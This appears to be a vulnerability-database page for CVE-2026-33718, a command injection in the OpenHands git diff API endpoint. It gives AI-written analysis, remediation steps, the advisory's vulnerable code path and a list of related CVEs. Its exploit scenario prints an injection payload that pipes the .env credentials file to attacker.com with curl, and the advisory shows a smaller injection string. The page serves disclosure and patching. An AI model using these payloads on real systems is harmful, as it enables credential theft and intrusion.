Python
CVE-2026-33718
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to OpenHands API
-
ExploitSend crafted path parameter to /api/conversations/{id}/git/diff endpoint
-
ExecutionInject shell metacharacters into unsanitized path variable
-
ImpactExecute arbitrary commands in agent sandbox
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Authenticated user with API access to OpenHands. Attacker must send crafted request to |
| Impact | The real-world risk is moderate to high for exposed OpenHands deployments. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L indicates network-accessible exploitation with low attack complexity, but requires low-privilege authentication (PR:L), which reduces the attack surface compared to unauthenticated vulnerabilities. The attack is highly automatable once an attacker has valid credentials. While no EPSS score or KEV listing suggests widespread exploitation, the availability of detailed vulnerability information in the GitHub advisory and the straightforward nature of command injection make this readily exploitable. The technical impact is significant within the container context (arbitrary command execution as root), though the scope is unchanged (S:U), meaning the attacker is confined to the runtime container unless container escape vulnerabilities exist. The vendor has released a patch, indicating acknowledgment of real risk. For organizations running OpenHands with authenticated users who may not be fully trusted, this represents a genuine priority requiring prompt patching, especially since the description notes this bypasses normal agent command channels and could be used for privilege escalation or data exfiltration within the sandbox environment. |
| Exploit ScenarioDerived | An authenticated attacker crafts an HTTP GET request to /api/conversations/{id}/git/diff with a malicious path parameter such as test"; curl http://attacker.com/exfil -d @/openhands/.env #. The unsanitized input is interpolated into the shell command, causing the runtime container to execute the curl command, exfiltrating the .env file containing API keys and credentials to the attacker's server. The attacker could then establish a reverse shell for persistent access or read sensitive source code and configuration files. Given the low attack complexity (AC:L) and network attack vector (AV:N), exploitation requires only valid application credentials and basic understanding of shell command syntax. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 25, 2026
A Command Injection vulnerability in OpenHands allows authenticated users to execute arbitrary commands in the agent sandbox by injecting shell metacharacters into the path parameter of the /api/conversations/{conversation_id}/git/diff API endpoint. The vulnerability affects OpenHands installations exposing this endpoint, with a CVSS score of 7.6. A patch is available via PR #13051, and while no EPSS or KEV data indicates active exploitation, the vulnerability is easily exploitable by any authenticated user.
RemediationAI
Update OpenHands to the latest version incorporating the security fix from PR #13051 available at https://github.com/OpenHands/OpenHands/pull/13051. The patch replaces unsafe shell string formatting with proper argument array handling or implements rigorous path sanitization to prevent command injection. Until patching is possible, restrict access to the /api/conversations/{conversation_id}/git/diff endpoint to only highly trusted authenticated users through API gateway rules or reverse proxy ACLs. Organizations can also consider implementing additional input validation at the API gateway layer to reject requests containing shell metacharacters in the path parameter, though this is a defense-in-depth measure and not a complete substitute for the vendor patch. Review the Python subprocess security considerations at https://docs.python.org/3/library/subprocess.html#security-considerations and OWASP Command Injection guidance at https://owasp.org/www-community/attacks/Command_Injection for additional context on secure implementation patterns.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the OpenHands Python package (pkg:pip/openhands), specifically in the git_handler.py module's get_git_diff() method. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), where user-controlled input from the file_path parameter is directly interpolated into a shell command string using Python's format() method. The constructed command is then executed via subprocess.run() with shell=True, enabling the shell to interpret metacharacters like semicolons, pipes, and backticks. The vulnerable code path spans multiple layers: the Flask API endpoint receives unsanitized input, passes it through the runtime layer, and ultimately constructs a command string python3 /openhands/code/openhands/runtime/utils/git_diff.py "{file_path}" where the file_path placeholder is replaced without validation. This violates Python subprocess security best practices documented in the official Python documentation, which recommends using argument arrays instead of shell=True with string formatting.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
A Command Injection vulnerability exists in the get_git_diff() method at openhands/runtime/utils/git_handler.py:134. The path parameter from the /api/conversations/{conversation_id}/git/diff API endpoint is passed unsanitized to a shell command, allowing authenticated attackers to execute arbitrary commands in the agent sandbox. The user is already allowed to instruct the agent to execute commands, but this bypasses the normal channels.
---
Details
Vulnerable Code Path
The vulnerability flows through these files:
- API Endpoint (
openhands/server/routes/files.py:267-277)
@app.get('/git/diff')
async def git_diff(
path: str,
# <-- User input from HTTP request
...
):
...
diff = await call_sync_from_async(runtime.get_git_diff, path, cwd)
# No sanitization- Runtime (
openhands/runtime/base.py:1231-1233)
def get_git_diff(self, file_path: str, cwd: str) -> dict[str, str]:
self.git_handler.set_cwd(cwd)
return self.git_handler.get_git_diff(file_path)
# Passed directly- Vulnerable Method (
openhands/runtime/utils/git_handler.py:10-12, 134)
# Command template with placeholder
GIT_DIFF_CMD = 'python3 /openhands/code/openhands/runtime/utils/git_diff.py "{file_path}"'
# Line 134 - VULNERABLE: User input directly interpolated
result = self.execute(self.git_diff_cmd.format(file_path=file_path), self.cwd)- Shell Execution (
openhands/runtime/utils/git_diff.py:25-27)
def run(cmd: str, cwd: str) -> str:
result = subprocess.run(
args=cmd,
shell=True,
# <-- Enables shell metacharacter interpretation
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=cwd
)Root Cause
The file_path parameter is directly interpolated into a shell command string using Python's .format() method without any sanitization. When this command is executed with shell=True, shell metacharacters like ", ;, and # are interpreted, allowing command injection.
Example:
- Input:
test"; id # - Constructed command:
python3 /script.py "test"; id #" - Shell interprets as two commands:
python3 /script.py "test"ANDid
---
Impact
Who is Affected
- All OpenHands deployments exposing the
/api/conversations/{id}/git/diffendpoint - Any authenticated user can exploit this vulnerability,
Attack Capabilities
An attacker can:
- Execute arbitrary commands on the runtime container as root
- Read sensitive files including
.env, API keys, source code - Write arbitrary files to inject malicious code
- Establish reverse shells for persistent access
- Potentially escape the container if Docker is misconfigured
Mitigation
Users should update to the latest version of OpenHands that includes the changes from PR #13051. The fix replaces direct shell string formatting with proper argument array handling or rigorous path sanitization to prevent command chaining.
Executive ViewAI
A command injection vulnerability in OpenHands allows authenticated users to execute arbitrary commands within the application sandbox, potentially compromising system integrity and data confidentiality. Organizations using OpenHands with exposed API endpoints face medium-to-high risk if user access controls are not properly implemented, as any authenticated user could escalate privileges or access sensitive information.
Apply vendor patch. If patching is delayed, implement network-layer access controls to restrict the /api/conversations/{conversation_id}/git/diff endpoint to trusted IP ranges; enforce strict authentication policies and disable the git/diff feature if not operationally required; implement WAF rules to detect and block shell metacharacters in the path parameter.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Affected Products (CPE)GitHub Advisory
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-7h8w-hj9j-8rjw
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB